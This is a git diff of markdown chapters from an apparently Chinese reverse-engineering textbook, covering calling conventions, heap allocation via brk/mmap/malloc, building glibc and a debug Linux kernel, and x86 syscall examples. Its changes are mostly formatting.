|
||||
stdcall | 函数本身 | 从右到左的顺序压参数入栈 | 下划线+函数名+@+参数的字节数
|
||||
fastcall | 函数本身 | 都两个 DWORD(4 字节)类型或者占更少字节的参数被放入寄存器,其他剩下的参数按从右到左的顺序压入栈 | @+函数名+@+参数的字节数
|
||||
| 调用约定 | 出栈方 | 参数传递 | 名字修饰 |
|
||||
| --- | --- | --- | --- |
|
||||
| cdecl | 函数调用方 | 从右到左的顺序压参数入栈 | 下划线+函数名 |
|
||||
| stdcall | 函数本身 | 从右到左的顺序压参数入栈 | 下划线+函数名+@+参数的字节数 |
|
||||
| fastcall | 函数本身 | 都两个 DWORD(4 字节)类型或者占更少字节的参数被放入寄存器,其他剩下的参数按从右到左的顺序压入栈 | @+函数名+@+参数的字节数 |
|
||||
|
||||
除了参数的传递之外,函数与调用方还可以通过返回值进行交互。当返回值不大于 4 字节时,返回值存储在 eax 寄存器中,当返回值在 5~8 字节时,采用 eax 和 edx 结合的形式返回,其中 eax 存储低 4 字节, edx 存储高 4 字节。
|
||||
|
||||
|
||||
## 堆与内存管理
|
||||
#### 堆
|
||||
![](../pic/1.5.7_spacelayout.png)
|
||||
|
||||
### 堆
|
||||
|
||||
![img](../pic/1.5.7_spacelayout.png)
|
||||
|
||||
堆是用于存放除了栈里的东西之外所有其他东西的内存区域,有动态内存分配器负责维护。分配器将堆视为一组不同大小的块(block)的集合来维护,每个块就是一个连续的虚拟内存器片(chunk)。当使用 `malloc()` 和 `free()` 时就是在操作堆中的内存。对于堆来说,释放工作由程序员控制,容易产生内存泄露。
|
||||
|
||||
@ -193,10 +207,12 @@ fastcall | 函数本身 | 都两个 DWORD(4 字节)类型或者占更少字
|
||||
|
||||
如果每次申请内存时都直接使用系统调用,会严重影响程序的性能。通常情况下,运行库先向操作系统“批发”一块较大的堆空间,然后“零售”给程序使用。当全部“售完”之后或者剩余空间不能满足程序的需求时,再根据情况向操作系统“进货”。
|
||||
|
||||
#### 进程堆管理
|
||||
### 进程堆管理
|
||||
|
||||
Linux 提供了两种堆空间分配的方式,一个是 `brk()` 系统调用,另一个是 `mmap()` 系统调用。可以使用 `man brk`、`man mmap` 查看。
|
||||
|
||||
`brk()` 的声明如下:
|
||||
|
||||
```c
|
||||
#include <unistd.h>
|
||||
|
||||
@ -204,11 +220,13 @@ int brk(void *addr);
|
||||
|
||||
void *sbrk(intptr_t increment);
|
||||
```
|
||||
|
||||
参数 `*addr` 是进程数据段的结束地址,`brk()` 通过改变该地址来改变数据段的大小,当结束地址向高地址移动,进程内存空间增大,当结束地址向低地址移动,进程内存空间减小。`brk()`调用成功时返回 0,失败时返回 -1。 `sbrk()` 与 `brk()` 类似,但是参数 `increment` 表示增量,即增加或减少的空间大小,调用成功时返回增加后减小前数据段的结束地址,失败时返回 -1。
|
||||
|
||||
在上图中我们看到 brk 指示堆结束地址,start_brk 指示堆开始地址。BSS segment 和 heap 之间有一段 Random brk offset,这是由于 ASLR 的作用,如果关闭了 ASLR,则 Random brk offset 为 0,堆结束地址和数据段开始地址重合。
|
||||
|
||||
例子:[源码](../src/others/1.5.7_memory/brk.c)
|
||||
|
||||
```C
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
@ -238,15 +256,19 @@ void main() {
|
||||
getchar();
|
||||
}
|
||||
```
|
||||
|
||||
开启两个终端,一个用于执行程序,另一个用于观察内存地址。首先我们看关闭了 ASLR 的情况。第一步初始化:
|
||||
|
||||
```text
|
||||
# echo 0 > /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./a.out
|
||||
当前进程 PID:27759
|
||||
初始化后的结束地址:0x56579000
|
||||
```
|
||||
|
||||
```text
|
||||
# cat /proc/27759/maps
|
||||
...
|
||||
@ -254,9 +276,11 @@ $ ./a.out
|
||||
56558000-56579000 rw-p 00000000 00:00 0 [heap]
|
||||
...
|
||||
```
|
||||
|
||||
数据段结束地址和堆开始地址同为 `0x56558000`,堆结束地址为 `0x56579000`。
|
||||
|
||||
第二步使用 `brk()` 增加堆空间:
|
||||
|
||||
```text
|
||||
$ ./a.out
|
||||
当前进程 PID:27759
|
||||
@ -264,6 +288,7 @@ $ ./a.out
|
||||
|
||||
brk 之后的结束地址:0x5657a000
|
||||
```
|
||||
|
||||
```text
|
||||
# cat /proc/27759/maps
|
||||
...
|
||||
@ -271,9 +296,11 @@ brk 之后的结束地址:0x5657a000
|
||||
56558000-5657a000 rw-p 00000000 00:00 0 [heap]
|
||||
...
|
||||
```
|
||||
|
||||
堆开始地址不变,结束地址增加为 `0x5657a000`。
|
||||
|
||||
第三步使用 `sbrk()` 增加堆空间:
|
||||
|
||||
```text
|
||||
$ ./a.out
|
||||
当前进程 PID:27759
|
||||
@ -284,6 +311,7 @@ brk 之后的结束地址:0x5657a000
|
||||
sbrk 返回值(即之前的结束地址):0x5657a000
|
||||
sbrk 之后的结束地址:0x5657b000
|
||||
```
|
||||
|
||||
```text
|
||||
# cat /proc/27759/maps
|
||||
...
|
||||
@ -293,8 +321,9 @@ sbrk 之后的结束地址:0x5657b000
|
||||
```
|
||||
|
||||
第四步减小堆空间:
|
||||
|
||||
```text
|
||||
]$ ./a.out
|
||||
$ ./a.out
|
||||
当前进程 PID:27759
|
||||
初始化后的结束地址:0x56579000
|
||||
|
||||
@ -305,6 +334,7 @@ sbrk 之后的结束地址:0x5657b000
|
||||
|
||||
恢复到初始化时的结束地址:0x56579000
|
||||
```
|
||||
|
||||
```text
|
||||
# cat /proc/27759/maps
|
||||
...
|
||||
@ -314,14 +344,17 @@ sbrk 之后的结束地址:0x5657b000
|
||||
```
|
||||
|
||||
再来看一下开启了 ASLR 的情况:
|
||||
|
||||
```text
|
||||
# echo 2 > /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
||||
```text
|
||||
]$ ./a.out
|
||||
$ ./a.out
|
||||
当前进程 PID:28025
|
||||
初始化后的结束地址:0x578ad000
|
||||
```
|
||||
|
||||
```text
|
||||
# cat /proc/28025/maps
|
||||
...
|
||||
@ -329,18 +362,22 @@ sbrk 之后的结束地址:0x5657b000
|
||||
5788c000-578ad000 rw-p 00000000 00:00 0 [heap]
|
||||
...
|
||||
```
|
||||
|
||||
可以看到这时数据段的结束地址 `0x56640000` 不等于堆的开始地址 `0x5788c000`。
|
||||
|
||||
`mmap()` 的声明如下:
|
||||
|
||||
```c
|
||||
#include <sys/mman.h>
|
||||
|
||||
void *mmap(void *addr, size_t len, int prot, int flags,
|
||||
int fildes, off_t off);
|
||||
```
|
||||
|
||||
`mmap()` 函数用于创建新的虚拟内存区域,并将对象映射到这些区域中,当它不将地址空间映射到某个文件时,我们称这块空间为匿名(Anonymous)空间,匿名空间可以用来作为堆空间。`mmap()` 函数要求内核创建一个从地址 `addr` 开始的新虚拟内存区域,并将文件描述符 `fildes` 指定的对象的一个连续的片(chunk)映射到这个新区域。连续的对象片大小为 `len` 字节,从距文件开始处偏移量为 `off` 字节的地方开始。`prot` 描述虚拟内存区域的访问权限位,`flags` 描述被映射对象类型的位组成。
|
||||
|
||||
`munmap()` 则用于删除虚拟内存区域:
|
||||
|
||||
```c
|
||||
#include <sys/mman.h>
|
||||
|
||||
@ -348,6 +385,7 @@ int munmap(void *addr, size_t len);
|
||||
```
|
||||
|
||||
例子:[源码](../src/others/1.5.7_memory/mmap.c)
|
||||
|
||||
```C
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
@ -369,12 +407,15 @@ void main() {
|
||||
getchar();
|
||||
}
|
||||
```
|
||||
|
||||
第一步初始化:
|
||||
|
||||
```text
|
||||
$ ./a.out
|
||||
当前进程 PID:28652
|
||||
初始化后
|
||||
```
|
||||
|
||||
```text
|
||||
# cat /proc/28652/maps
|
||||
...
|
||||
@ -382,13 +423,16 @@ f76b2000-f76b5000 rw-p 00000000 00:00 0
|
||||
f76ef000-f76f1000 rw-p 00000000 00:00 0
|
||||
...
|
||||
```
|
||||
|
||||
第二步 mmap:
|
||||
|
||||
```text
|
||||
]$ ./a.out
|
||||
当前进程 PID:28652
|
||||
初始化后
|
||||
mmap 完成
|
||||
```
|
||||
|
||||
```text
|
||||
# cat /proc/28652/maps
|
||||
...
|
||||
@ -396,7 +440,9 @@ f76b2000-f76b5000 rw-p 00000000 00:00 0
|
||||
f76ee000-f76f1000 rw-p 00000000 00:00 0
|
||||
...
|
||||
```
|
||||
|
||||
第三步 munmap:
|
||||
|
||||
```text
|
||||
$ ./a.out
|
||||
当前进程 PID:28652
|
||||
@ -404,6 +450,7 @@ $ ./a.out
|
||||
mmap 完成
|
||||
munmap 完成
|
||||
```
|
||||
|
||||
```text
|
||||
# cat /proc/28652/maps
|
||||
...
|
||||
@ -411,9 +458,11 @@ f76b2000-f76b5000 rw-p 00000000 00:00 0
|
||||
f76ef000-f76f1000 rw-p 00000000 00:00 0
|
||||
...
|
||||
```
|
||||
|
||||
可以看到第二行第一列地址从 `f76ef000`->`f76ee000`->`f76ef000` 变化。`0xf76ee000-0xf76ef000=0x1000=4096`。
|
||||
|
||||
通常情况下,我们不会直接使用 `brk()` 和 `mmap()` 来分配堆空间,C 标准库提供了一个叫做 `malloc` 的分配器,程序通过调用 `malloc()` 函数来从堆中分配块,声明如下:
|
||||
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
|
||||
@ -424,31 +473,33 @@ void *realloc(void *ptr, size_t size);
|
||||
```
|
||||
|
||||
示例:
|
||||
|
||||
```C
|
||||
#include<stdio.h>
|
||||
#include<malloc.h>
|
||||
void foo(int n) {
|
||||
int *p;
|
||||
p = (int *)malloc(n * sizeof(int));
|
||||
int *p;
|
||||
p = (int *)malloc(n * sizeof(int));
|
||||
|
||||
for (int i=0; i<n; i++) {
|
||||
p[i] = i;
|
||||
printf("%d ", p[i]);
|
||||
}
|
||||
printf("\n");
|
||||
for (int i=0; i<n; i++) {
|
||||
p[i] = i;
|
||||
printf("%d ", p[i]);
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
free(p);
|
||||
free(p);
|
||||
}
|
||||
|
||||
void main() {
|
||||
int n;
|
||||
scanf("%d", &n);
|
||||
int n;
|
||||
scanf("%d", &n);
|
||||
|
||||
foo(n);
|
||||
foo(n);
|
||||
}
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
```text
|
||||
$ ./malloc
|
||||
4
|
||||
@ -462,57 +513,59 @@ $ ./malloc
|
||||
```
|
||||
|
||||
使用 gdb 查看反汇编代码:
|
||||
|
||||
```text
|
||||
gdb-peda$ disassemble foo
|
||||
Dump of assembler code for function foo:
|
||||
0x0000066d <+0>: push ebp
|
||||
0x0000066e <+1>: mov ebp,esp
|
||||
0x00000670 <+3>: push ebx
|
||||
0x00000671 <+4>: sub esp,0x14
|
||||
0x00000674 <+7>: call 0x570 <__x86.get_pc_thunk.bx>
|
||||
0x00000679 <+12>: add ebx,0x1987
|
||||
0x0000067f <+18>: mov eax,DWORD PTR [ebp+0x8]
|
||||
0x00000682 <+21>: shl eax,0x2
|
||||
0x00000685 <+24>: sub esp,0xc
|
||||
0x00000688 <+27>: push eax
|
||||
0x00000689 <+28>: call 0x4e0 <malloc@plt>
|
||||
0x0000068e <+33>: add esp,0x10
|
||||
0x00000691 <+36>: mov DWORD PTR [ebp-0xc],eax
|
||||
0x00000694 <+39>: mov DWORD PTR [ebp-0x10],0x0
|
||||
0x0000069b <+46>: jmp 0x6d9 <foo+108>
|
||||
0x0000069d <+48>: mov eax,DWORD PTR [ebp-0x10]
|
||||
0x000006a0 <+51>: lea edx,[eax*4+0x0]
|
||||
0x000006a7 <+58>: mov eax,DWORD PTR [ebp-0xc]
|
||||
0x000006aa <+61>: add edx,eax
|
||||
0x000006ac <+63>: mov eax,DWORD PTR [ebp-0x10]
|
||||
0x000006af <+66>: mov DWORD PTR [edx],eax
|
||||
0x000006b1 <+68>: mov eax,DWORD PTR [ebp-0x10]
|
||||
0x000006b4 <+71>: lea edx,[eax*4+0x0]
|
||||
0x000006bb <+78>: mov eax,DWORD PTR [ebp-0xc]
|
||||
0x000006be <+81>: add eax,edx
|
||||
0x000006c0 <+83>: mov eax,DWORD PTR [eax]
|
||||
0x000006c2 <+85>: sub esp,0x8
|
||||
0x000006c5 <+88>: push eax
|
||||
0x000006c6 <+89>: lea eax,[ebx-0x17e0]
|
||||
0x000006cc <+95>: push eax
|
||||
0x000006cd <+96>: call 0x4b0 <printf@plt>
|
||||
0x000006d2 <+101>: add esp,0x10
|
||||
0x000006d5 <+104>: add DWORD PTR [ebp-0x10],0x1
|
||||
0x000006d9 <+108>: mov eax,DWORD PTR [ebp-0x10]
|
||||
0x000006dc <+111>: cmp eax,DWORD PTR [ebp+0x8]
|
||||
0x000006df <+114>: jl 0x69d <foo+48>
|
||||
0x000006e1 <+116>: sub esp,0xc
|
||||
0x000006e4 <+119>: push 0xa
|
||||
0x000006e6 <+121>: call 0x500 <putchar@plt>
|
||||
0x000006eb <+126>: add esp,0x10
|
||||
0x000006ee <+129>: sub esp,0xc
|
||||
0x000006f1 <+132>: push DWORD PTR [ebp-0xc]
|
||||
0x000006f4 <+135>: call 0x4c0 <free@plt>
|
||||
0x000006f9 <+140>: add esp,0x10
|
||||
0x000006fc <+143>: nop
|
||||
0x000006fd <+144>: mov ebx,DWORD PTR [ebp-0x4]
|
||||
0x00000700 <+147>: leave
|
||||
0x00000701 <+148>: ret
|
||||
0x0000066d <+0>: push ebp
|
||||
0x0000066e <+1>: mov ebp,esp
|
||||
0x00000670 <+3>: push ebx
|
||||
0x00000671 <+4>: sub esp,0x14
|
||||
0x00000674 <+7>: call 0x570 <__x86.get_pc_thunk.bx>
|
||||
0x00000679 <+12>: add ebx,0x1987
|
||||
0x0000067f <+18>: mov eax,DWORD PTR [ebp+0x8]
|
||||
0x00000682 <+21>: shl eax,0x2
|
||||
0x00000685 <+24>: sub esp,0xc
|
||||
0x00000688 <+27>: push eax
|
||||
0x00000689 <+28>: call 0x4e0 <malloc@plt>
|
||||
0x0000068e <+33>: add esp,0x10
|
||||
0x00000691 <+36>: mov DWORD PTR [ebp-0xc],eax
|
||||
0x00000694 <+39>: mov DWORD PTR [ebp-0x10],0x0
|
||||
0x0000069b <+46>: jmp 0x6d9 <foo+108>
|
||||
0x0000069d <+48>: mov eax,DWORD PTR [ebp-0x10]
|
||||
0x000006a0 <+51>: lea edx,[eax*4+0x0]
|
||||
0x000006a7 <+58>: mov eax,DWORD PTR [ebp-0xc]
|
||||
0x000006aa <+61>: add edx,eax
|
||||
0x000006ac <+63>: mov eax,DWORD PTR [ebp-0x10]
|
||||
0x000006af <+66>: mov DWORD PTR [edx],eax
|
||||
0x000006b1 <+68>: mov eax,DWORD PTR [ebp-0x10]
|
||||
0x000006b4 <+71>: lea edx,[eax*4+0x0]
|
||||
0x000006bb <+78>: mov eax,DWORD PTR [ebp-0xc]
|
||||
0x000006be <+81>: add eax,edx
|
||||
0x000006c0 <+83>: mov eax,DWORD PTR [eax]
|
||||
0x000006c2 <+85>: sub esp,0x8
|
||||
0x000006c5 <+88>: push eax
|
||||
0x000006c6 <+89>: lea eax,[ebx-0x17e0]
|
||||
0x000006cc <+95>: push eax
|
||||
0x000006cd <+96>: call 0x4b0 <printf@plt>
|
||||
0x000006d2 <+101>: add esp,0x10
|
||||
0x000006d5 <+104>: add DWORD PTR [ebp-0x10],0x1
|
||||
0x000006d9 <+108>: mov eax,DWORD PTR [ebp-0x10]
|
||||
0x000006dc <+111>: cmp eax,DWORD PTR [ebp+0x8]
|
||||
0x000006df <+114>: jl 0x69d <foo+48>
|
||||
0x000006e1 <+116>: sub esp,0xc
|
||||
0x000006e4 <+119>: push 0xa
|
||||
0x000006e6 <+121>: call 0x500 <putchar@plt>
|
||||
0x000006eb <+126>: add esp,0x10
|
||||
0x000006ee <+129>: sub esp,0xc
|
||||
0x000006f1 <+132>: push DWORD PTR [ebp-0xc]
|
||||
0x000006f4 <+135>: call 0x4c0 <free@plt>
|
||||
0x000006f9 <+140>: add esp,0x10
|
||||
0x000006fc <+143>: nop
|
||||
0x000006fd <+144>: mov ebx,DWORD PTR [ebp-0x4]
|
||||
0x00000700 <+147>: leave
|
||||
0x00000701 <+148>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
关于 glibc 中的 malloc 实现是一个很重要的话题,我们会在后面的章节详细介绍。
|
||||
|
@ -4,25 +4,30 @@
|
||||
- [malloc](#malloc)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/others/1.5.8_glibc_malloc)
|
||||
|
||||
## glibc
|
||||
|
||||
glibc 即 GNU C Library,是为 GNU 操作系统开发的一个 C 标准库。glibc 主要由两部分组成,一部分是头文件,位于 `/usr/include`;另一部分是库的二进制文件。二进制文件部分主要是 C 语言标准库,有动态和静态两个版本,动态版本位于 `/lib/libc.so.6`,静态版本位于 `/usr/lib/libc.a`。
|
||||
|
||||
这一章中,我们将阅读分析 glibc 的源码,下面先把它下载下来,并切换到我们需要的版本:
|
||||
```
|
||||
|
||||
```text
|
||||
$ git clone git://sourceware.org/git/glibc.git
|
||||
$ cd glibc
|
||||
$ git checkout --track -b local_glibc-2.23 origin/release/2.23/master
|
||||
```
|
||||
|
||||
下面来编译它,首先修改配置文件 Makeconfig,将 `-Werror` 注释掉,这样可以避免高版本 GCC(v8.1.0) 将警告当做错误处理:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat Makeconfig | grep -i werror | grep warn
|
||||
+gccwarn += #-Werror
|
||||
```
|
||||
|
||||
接下来需要打上一个 patch:
|
||||
```
|
||||
|
||||
```diff
|
||||
$ cat regexp.patch
|
||||
diff --git a/misc/regexp.c b/misc/regexp.c
|
||||
index 19d76c0..9017bc1 100644
|
||||
@ -35,7 +40,7 @@ index 19d76c0..9017bc1 100644
|
||||
-/* Define the variables used for the interface. */
|
||||
-char *loc1;
|
||||
-char *loc2;
|
||||
+#include <stdlib.h> /* Get NULL. */
|
||||
+#include <stdlib.h> /* Get NULL. */
|
||||
+
|
||||
+/* Define the variables used for the interface. Avoid .symver on common
|
||||
+ symbol, which just creates a new common symbol, not an alias. */
|
||||
@ -50,15 +55,18 @@ index 19d76c0..9017bc1 100644
|
||||
compat_symbol (libc, locs, locs, GLIBC_2_0);
|
||||
$ patch misc/regexp.c regexp.patch
|
||||
```
|
||||
|
||||
然后就可以编译了:
|
||||
```
|
||||
|
||||
```text
|
||||
$ mkdir build && cd build
|
||||
$ ../configure --prefix=/usr/local/glibc-2.23
|
||||
$ make -j4 && sudo make install
|
||||
```
|
||||
|
||||
如果我们想要在编译程序时指定 libc,可以像这样:
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -L/usr/local/glibc-2.23/lib -Wl,--rpath=/usr/local/glibc-2.23/lib -Wl,-I/usr/local/glibc-2.23/lib/ld-2.23.so test.c
|
||||
$ ldd a.out
|
||||
linux-vdso.so.1 (0x00007ffcc76b0000)
|
||||
@ -67,38 +75,45 @@ $ ldd a.out
|
||||
```
|
||||
|
||||
然后如果希望在调试时指定 libc 的源文件,可以使用 gdb 命令 `directory`,但是这种方法的缺点是不能解析子目录,所以推荐使用下面的命令在启动时加载:
|
||||
```
|
||||
$ gdb `find ~/path/to/glibc/source -type d -printf '-d %p '` ./a.out
|
||||
```
|
||||
|
||||
```text
|
||||
gdb `find ~/path/to/glibc/source -type d -printf '-d %p '` ./a.out
|
||||
```
|
||||
|
||||
## malloc.c
|
||||
|
||||
下面我们先分析 glibc 2.23 版本的源码,它是 Ubuntu16.04 的默认版本,在 pwn 中也最常见。然后,我们再探讨新版本的 glibc 中所加入的漏洞缓解机制。
|
||||
|
||||
## 相关结构
|
||||
#### 堆块结构
|
||||
|
||||
### 堆块结构
|
||||
|
||||
- Allocated Chunk
|
||||
- Free Chunk
|
||||
- Top Chunk
|
||||
|
||||
#### Bins 结构
|
||||
### Bins 结构
|
||||
|
||||
- Fast Bins
|
||||
- Small Bins
|
||||
- Large Bins
|
||||
- Unsorted Bins
|
||||
|
||||
#### Arena 结构
|
||||
### Arena 结构
|
||||
|
||||
## 分配函数
|
||||
|
||||
`_int_malloc()`
|
||||
|
||||
## 释放函数
|
||||
|
||||
`_int_free()`
|
||||
|
||||
## 重分配函数
|
||||
|
||||
`_int_realloc()`
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [The GNU C Library (glibc)](https://www.gnu.org/software/libc/)
|
||||
- [glibc manual](https://www.gnu.org/software/libc/manual/)
|
||||
|
@ -4,17 +4,19 @@
|
||||
- [系统调用](#系统调用)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 编译安装
|
||||
|
||||
我的编译环境是如下。首先安装必要的软件:
|
||||
```
|
||||
|
||||
```text
|
||||
$ uname -a
|
||||
Linux firmy-pc 4.14.34-1-MANJARO #1 SMP PREEMPT Thu Apr 12 17:26:43 UTC 2018 x86_64 GNU/Linux
|
||||
$ yaourt -S base-devel
|
||||
```
|
||||
|
||||
为了方便学习,选择一个稳定版本,比如最新的 4.16.3。
|
||||
```
|
||||
|
||||
```text
|
||||
$ mkdir ~/kernelbuild && cd ~/kernelbuild
|
||||
$ wget -c https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.16.3.tar.xz
|
||||
$ tar -xvJf linux-4.16.3.tar.xz
|
||||
@ -23,61 +25,79 @@ $ make clean && make mrproper
|
||||
```
|
||||
|
||||
内核的配置选项在 `.config` 文件中,有两种方法可以设置这些选项,一种是从当前内核中获得一份默认配置:
|
||||
```
|
||||
|
||||
```text
|
||||
$ zcat /proc/config.gz > .config
|
||||
$ make oldconfig
|
||||
```
|
||||
|
||||
另一种是自己生成一份配置:
|
||||
```
|
||||
|
||||
```text
|
||||
$ make localmodconfig # 使用当前内核配置生成
|
||||
$ # OR
|
||||
# OR
|
||||
$ make defconfig # 根据当前架构默认的配置生成
|
||||
```
|
||||
|
||||
为了能够对内核进行调试,需要设置下面的参数:
|
||||
```
|
||||
|
||||
```text
|
||||
CONFIG_DEBUG_INFO=y
|
||||
CONFIG_DEBUG_INFO_REDUCED=n
|
||||
CONFIG_GDB_SCRIPTS=y
|
||||
```
|
||||
|
||||
如果需要使用 kgdb,还需要开启下面的参数:
|
||||
```
|
||||
|
||||
```text
|
||||
CONFIG_STRICT_KERNEL_RWX=n
|
||||
CONFIG_FRAME_POINTER=y
|
||||
CONFIG_KGDB=y
|
||||
CONFIG_KGDB_SERIAL_CONSOLE=y
|
||||
```
|
||||
|
||||
`CONFIG_STRICT_KERNEL_RWX` 会将特定的内核内存空间标记为只读,这将阻止你使用软件断点,最好将它关掉。
|
||||
如果希望使用 kdb,在上面的基础上再加上:
|
||||
```
|
||||
|
||||
```text
|
||||
CONFIG_KGDB_KDB=y
|
||||
CONFIG_KDB_KEYBOARD=y
|
||||
```
|
||||
|
||||
另外如果你在调试时不希望被 KASLR 干扰,可以在编译时关掉它:
|
||||
```
|
||||
|
||||
```text
|
||||
CONFIG_RANDOMIZE_BASE=n
|
||||
CONFIG_RANDOMIZE_MEMORY=n
|
||||
```
|
||||
|
||||
将上面的参数写到文件 `.config-fragment`,然后合并进 `.config`:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./scripts/kconfig/merge_config.sh .config .config-fragment
|
||||
```
|
||||
|
||||
最后因为内核编译默认开启了 `-O2` 优化,可以修改 Makefile 为 `-O0`:
|
||||
```
|
||||
|
||||
```text
|
||||
KBUILD_CFLAGS += -O0
|
||||
```
|
||||
|
||||
编译内核:
|
||||
```
|
||||
|
||||
```text
|
||||
$ make
|
||||
```
|
||||
|
||||
完成后当然就是安装,但我们这里并不是真的要将本机的内核换掉,接下来的过程就交给 QEMU 了。(参考章节4.1)
|
||||
|
||||
|
||||
## 系统调用
|
||||
|
||||
在 Linux 中,系统调用是一些内核空间函数,是用户空间访问内核的唯一手段。这些函数与 CPU 架构有关,x86-64 架构提供了 322 个系统调用,x86 提供了 358 个系统调用(参考附录9.4)。
|
||||
|
||||
下面是一个用 32 位汇编写的例子,[源码](../src/others/1.5.9_linux_kernel):
|
||||
```
|
||||
|
||||
```text
|
||||
.data
|
||||
|
||||
msg:
|
||||
@ -98,8 +118,10 @@ _start:
|
||||
movl $1, %eax
|
||||
int $0x80
|
||||
```
|
||||
|
||||
编译执行(可以编译成64位程序的):
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -m32 -c hello32.S
|
||||
$ ld -m elf_i386 -o hello32 hello32.o
|
||||
$ strace ./hello32
|
||||
@ -110,12 +132,14 @@ write(1, "hello 32-bit!\n", 14hello 32-bit!
|
||||
exit(0) = ?
|
||||
+++ exited with 0 +++
|
||||
```
|
||||
|
||||
可以看到程序将调用号保存到 `eax`,并通过 `int $0x80` 来使用系统调用。
|
||||
|
||||
虽然软中断 `int 0x80` 非常经典,早期 2.6 及以前版本的内核都使用这种机制进行系统调用。但因其性能较差,在往后的内核中使用了快速系统调用指令来替代,32 位系统使用 `sysenter`(对应`sysexit`) 指令,而 64 位系统使用 `syscall`(对应`sysret`) 指令。
|
||||
|
||||
一个使用 sysenter 的例子:
|
||||
```
|
||||
|
||||
```text
|
||||
.data
|
||||
|
||||
msg:
|
||||
@ -149,7 +173,8 @@ sysenter_ret:
|
||||
movl %esp, %ebp
|
||||
sysenter
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -m32 -c sysenter.S
|
||||
$ ld -m elf_i386 -o sysenter sysenter.o
|
||||
$ strace ./sysenter
|
||||
@ -160,8 +185,10 @@ write(1, "Hello sysenter!\n", 16Hello sysenter!
|
||||
exit(0) = ?
|
||||
+++ exited with 0 +++
|
||||
```
|
||||
|
||||
可以看到,为了使用 sysenter 指令,需要为其手动布置栈。这是因为在 sysenter 返回时,会执行 `__kernel_vsyscall` 的后半部分(从0xf7fd5059开始):
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ vmmap vdso
|
||||
Start End Perm Name
|
||||
0xf7fd4000 0xf7fd6000 r-xp [vdso]
|
||||
@ -179,10 +206,12 @@ Dump of assembler code for function __kernel_vsyscall:
|
||||
0xf7fd505c <+12>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
`__kernel_vsyscall` 封装了 sysenter 调用的规范,是 vDSO 的一部分,而 vDSO 允许程序在用户层中执行内核代码。关于 vDSO 的内容我们将在后面的章节中细讲。
|
||||
|
||||
下面是一个 64 位使用 `syscall` 的例子:
|
||||
```
|
||||
|
||||
```text
|
||||
.data
|
||||
|
||||
msg:
|
||||
@ -203,8 +232,10 @@ _start:
|
||||
movq $60, %rax
|
||||
syscall
|
||||
```
|
||||
|
||||
编译执行(不能编译成32位程序):
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -c hello64.S
|
||||
$ ld -o hello64 hello64.o
|
||||
$ strace ./hello64
|
||||
@ -216,11 +247,12 @@ exit(0) = ?
|
||||
```
|
||||
|
||||
在这两个例子中我们直接使用了 `execve`、`write` 和 `exit` 三个系统调用。但一般情况下,应用程序通过在用户空间实现的应用编程接口(API)而不是直接通过系统调用来编程。例如函数 `printf()` 的调用过程是这样的:
|
||||
```
|
||||
|
||||
```text
|
||||
调用printf() ==> C库中的printf() ==> C库中的write() ==> write()系统调用
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [The Linux Kernel documentation](https://www.kernel.org/doc/html/latest/)
|
||||
- [linux-insides](https://legacy.gitbook.com/book/0xax/linux-insides/details)
|
||||
|
@ -1,13 +1,13 @@
|
||||
# 1.5 逆向工程基础
|
||||
|
||||
- [1.5.1 C/C++ 语言基础](1.5.1_c_basic.md)
|
||||
- [1.5.2 x86/x64 汇编基础](1.5.2_x86_x64.md)
|
||||
- [1.5.3 Linux ELF](1.5.3_elf.md)
|
||||
- [1.5.4 Windows PE](1.5.4_pe.md)
|
||||
- [1.5.5 静态链接](1.5.5_static_link.md)
|
||||
- [1.5.6 动态链接](1.5.6_dynamic_link.md)
|
||||
- [1.5.7 内存管理](1.5.7_memory.md)
|
||||
- [1.5.8 glibc malloc](1.5.8_glibc_malloc.md)
|
||||
* [1.5.1 C/C++ 语言基础](1.5.1_c_basic.md)
|
||||
* [1.5.2 x86/x64 汇编基础](1.5.2_x86_x64.md)
|
||||
* [1.5.3 Linux ELF](1.5.3_elf.md)
|
||||
* [1.5.4 Windows PE](1.5.4_pe.md)
|
||||
* [1.5.5 静态链接](1.5.5_static_link.md)
|
||||
* [1.5.6 动态链接](1.5.6_dynamic_link.md)
|
||||
* [1.5.7 内存管理](1.5.7_memory.md)
|
||||
* [1.5.8 glibc malloc](1.5.8_glibc_malloc.md)
|
||||
* [1.5.9 Linux 内核](1.5.9_linux_kernel.md)
|
||||
* [1.5.10 Windows 内核](1.5.10_windows_kernel.md)
|
||||
* [1.5.11 jemalloc](1.5.11_jemalloc.md)
|
||||
|
@ -25,36 +25,41 @@
|
||||
- [try-catch 语句](#trycatch-语句)
|
||||
- [更多资料](#更多资料)
|
||||
|
||||
|
||||
## Dalvik 虚拟机
|
||||
|
||||
Android 程序运行在 Dalvik 虚拟机中,它与传统的 Java 虚拟机不同,完全基于寄存器架构,数据通过直接通过寄存器传递,大大提高了效率。Dalvik 虚拟机属于 Android 运行时环境,它与一些核心库共同承担 Android 应用程序的运行工作。Dalvik 虚拟机有自己的指令集,即 smali 代码,下面会详细介绍它们。
|
||||
|
||||
|
||||
## Dalvik 指令集
|
||||
#### 指令格式
|
||||
|
||||
### 指令格式
|
||||
|
||||
Dalvik 指令语法由指令的**位描述**与指令**格式标识**来决定。
|
||||
|
||||
位描述约定如下:
|
||||
|
||||
- 每 16 位使用空格分隔。
|
||||
- 每个字母占 4 位,按照顺序从高字节到低字节排列。
|
||||
